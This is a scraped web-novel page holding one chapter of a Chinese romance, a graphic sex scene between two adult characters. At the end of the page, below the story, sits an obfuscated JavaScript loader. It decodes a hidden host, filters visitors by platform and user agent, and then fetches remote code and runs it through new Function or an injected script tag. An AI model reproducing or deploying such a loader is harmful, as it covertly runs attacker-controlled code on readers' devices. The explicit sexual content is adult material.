爱豆看书

阅读记录  |   用户书架
上一章
目录 | 设置
下一页

024.乐佩公主(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |
电影推荐:辣妹神探(天天影院) 
热门推荐:

<h1>024.乐佩公主</h1>

卿杭是少说话多做事的类型,以前几个朋友热热闹闹聚在一起,他永远都是最沉默的一个。

很多次冷战,其实都是程挽月来哄他。

她能做出多少让他生闷气的事,就有多少种哄好他的办法。

有了第一次,第二次再闹别扭的时候他就会期待她来哄他,然而事实上他只要见到她,心里就已经不生气了,但因为想听她说一些甜腻腻的话,或者是喜欢她一直跟着他缠着他撒娇,他总是要多坚持一会儿,如果把她惹烦了,最后又是他低头。

卿杭不知道别的女生生气后会怎么样,但程挽月不难哄,只要顺着她就好了。

程挽月还在哭,“程遇舟叫阿渔‘宝宝’、‘老婆’,程延清叫她女朋友‘二狗’、‘臭臭’,怎么就你一天到晚连名带姓地叫我。”

“我刚才没有……”

“你有!”她平时在他面前都很不讲理,更何况是这种时候。

他索性放弃辩解。

程挽月捏捏他的耳朵,“叫我宝贝。”

阴穴里被撑得很满,内壁小幅度地收缩,在把他往外挤,但同时又像是在含着他吮吸,她疼,他也煎熬,明明开着空调,他脸上的汗水一滴一滴顺着下巴往下落。

僵持了一分钟左右,卿杭低头,温热的唇贴在她耳边,很小声地叫了一声。

他收拢双臂,身体贴近她,像两株同根而生的藤蔓一样紧紧缠在一起,汗液和水液都是养分,滋养着在深处的根不断疯长,从地里穿透出来绕成一个笼子,把两人紧密地封锁在里面。

他身体动了一下,里面也在动。

程挽月双腿缠在他腰上,脚后跟蹭着他的尾椎骨,“你是不是觉得我短发不好看?”

该哭还是哭,她一滴眼泪都不会忍。

“怎么会,很漂亮,”卿杭的头埋在她颈窝里轻微拱动,他试图用吻转移注意力,沿着她的脖子往上,舌尖从唇角一点点往里探。

她闻到了烟味,秀眉蹙起,但因为被吻得喘不过气,从齿间溢出的轻吟断断续续含糊不清。

“谁……谁让你……你抽烟的?”

卿杭只抽了半根,烟味很淡。

她以前对什么新鲜的东西都会好奇,好的坏的都想试试,但唯独对烟草很反感。

卿杭没有烟瘾,客厅茶几抽屉里那盒烟放了很久,他上一次抽烟还是那个凌晨突然从梦中惊醒的雨夜,梦里他和程挽月在白城那个潮湿狭小的房间里从天黑纠缠到天亮,她身体上每一处皮肤都是他的领地,被他吻过,舔过,摸过,沾满了他的精液,他好像有用不完的力气,或者是被她引诱得着了魔失了魂,恨不得死在她身上,射完很快就能勃起,神志所剩无几,呼吸像火焰一样,阴茎都还埋在她的身体里不知疲倦地往深处顶。

刚才也是被她逼得有些烦躁了,出门前才点了根烟。

他头发是湿的,衣服穿得很潦草,就连下巴和鼻梁上的透明液体也只是随便擦了擦,进店只拿了一盒套子就结账,下腹撑起的轮廓被衣摆遮住了,但手臂和脖子上过度兴奋的经脉隐隐凸起没有任何遮挡,即使情潮掩盖在冷漠的燥意之下,稍微有点经验的人就能看出他不是刚从床上下来就是赶着回去上床。

他不在意别人怎么看他,满脑子都是回来操她。

“我去刷牙,”卿杭说着就准备起身。

程挽月在他肩上咬了一口,“你把我吊着不上不下的,这个时候刷什么牙。”

微微的刺痛感顺着神经向周围蔓延,卿杭借着这个吻发动隐蔽的攻击。

她教过他,怎么做会让她舒服。

比起用手,她更喜欢他给她舔,刚才只用了十分钟就让她败下阵来,说明他做得很好。

程挽月稍稍推开他偏过头喘息,再没有多余的精力说话,他顺着她的下颚线往下吻,为了避免她明天早上发脾气,没有在脖子上留下任何可疑的痕迹,直接含着嫩生生的乳肉嘬了一口,舌头舔着乳尖卷进嘴里。

她紧绷着的身体慢慢软了下来,泪眼迷离,那点气焰也消失了。

床单都湿了一块,卿杭试着用力,黏腻的水声越来越清晰,催发着情潮在热腾腾的气息里的涌动。

程挽月揪住卿杭短发的手被他牵引着覆在自己胸口,另一边还被他含在嘴里,痛感渐渐被酸涩的快意取代,她上次喝醉已经是很多年前的事了,醉酒后的大概就是现在这样,迷迷糊糊什么都看不清,手脚很沉重,但又像踩在棉花里,被高高抛起,下一秒又被拽着跌落在地。

牙齿刮蹭到乳尖,咬疼了她,她下腹猛地收缩。

窄小的甬道被强行开拓本就寸步难行,突然绞紧的瞬间软肉从四周收拢,就像有无数张嘴缠在阴茎上吮着,吸着。

卿杭低声闷哼,程挽月并不知道他受着怎样的煎熬,还报复一般咬在他肩窝处,下一秒就被他捞起一条腿架在肩上。

肉欲的水声挑战着他的羞耻心,却也刺激着他控制不住地往深处撞。

人在欲望面前都是丑陋的。

会贪心,会不知餍足,会破开伪装的外壳暴露出最真实的渴望。

血管仿佛是要从皮肤里爆开,他低吼一声之后重重地压在她身上,像濒临死亡时发出的求生信号。

程挽月有点懵了,眼泪还挂在眼角,茫然地看着天花板。

就这?

是不是……快了点?

卿杭并没有给她嘲笑他的机会,吻住她的唇,一只手捂住她的眼睛,另一只手摸到床边的套子咬开戴好,射完不仅没有疲软,重新挤进去的时候还涨大了一圈,然后她就笑不出来了。

他下面进得多深,舌头缠得就有多紧。

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};
上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间